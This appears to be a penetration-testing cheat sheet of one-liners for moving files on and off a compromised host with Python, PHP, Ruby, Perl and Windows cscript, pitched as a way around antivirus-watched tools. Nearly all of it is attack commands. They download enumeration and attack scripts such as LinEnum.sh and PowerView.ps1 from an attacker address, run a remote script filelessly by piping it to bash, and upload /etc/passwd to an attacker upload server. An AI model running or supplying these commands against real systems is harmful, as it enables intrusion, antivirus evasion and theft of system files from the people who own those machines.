When the system binaries are missing or AV-watched, use the scripting languages that come pre-installed. Most Linux boxes have python3; many have php, ruby, or perl. Windows ships with cscript.exe (JScript, VBScript).
Python
# Python 3 download
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://10.10.10.10/x.sh","x.sh")'
# Python 2 download
python2.7 -c 'import urllib;urllib.urlretrieve("http://10.10.10.10/x.sh","x.sh")'
# Python 3 upload to uploadserver
python3 -c 'import requests;requests.post("http://10.10.10.10:8000/upload",files={"files":open("/etc/passwd","rb")})'
# Quick server
python3 -m http.server 8000
python2.7 -m SimpleHTTPServer 8000PHP
# Download to disk
php -r '$f=file_get_contents("http://10.10.10.10/x.sh");file_put_contents("x.sh",$f);'
# Buffered fopen loop (for big files)
php -r 'const B=1024;$r=fopen("http://10.10.10.10/x.sh","rb");$l=fopen("x.sh","wb");while($b=fread($r,B)){fwrite($l,$b);}fclose($l);fclose($r);'
# Fileless execution
php -r '$l=@file("http://10.10.10.10/x.sh");foreach($l as $v){echo $v;}' | bash
# Quick server
php -S 0.0.0.0:8000Ruby
ruby -e 'require "net/http";File.write("LinEnum.sh",Net::HTTP.get(URI("http://10.10.10.10/LinEnum.sh")))'
# Quick server
ruby -run -ehttpd . -p8000Perl
perl -e 'use LWP::Simple;getstore("http://10.10.10.10/LinEnum.sh","LinEnum.sh");'JavaScript (Windows via cscript.exe)
Save as wget.js:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1; BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));cscript.exe /nologo wget.js http://10.10.10.10/PowerView.ps1 PowerView.ps1VBScript
Save as wget.vbs:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end withcscript.exe /nologo wget.vbs http://10.10.10.10/PowerView.ps1 PowerView.ps1Upload-Enabled Servers
uploadserver (Python)
Drop-in replacement for http.server that adds a /upload endpoint.
pip3 install --user uploadserver
python3 -m uploadserver 8000updog
Pretty UI + download + upload in one.
pip3 install updog
updog -p 8000
updog -p 443 --ssl # auto-generates cert
updog -p 8000 --password 'secret'SimpleHTTPServerWithUpload
Legacy Python 2 script, still handy on older boxes.
python2.7 -m SimpleHTTPServerWithUpload 8000Pick language by what's installed
which python3 php ruby perl 2>/dev/null— use the first hit. On minimal containers even those may be stripped; fall back to/dev/tcporcertutil.
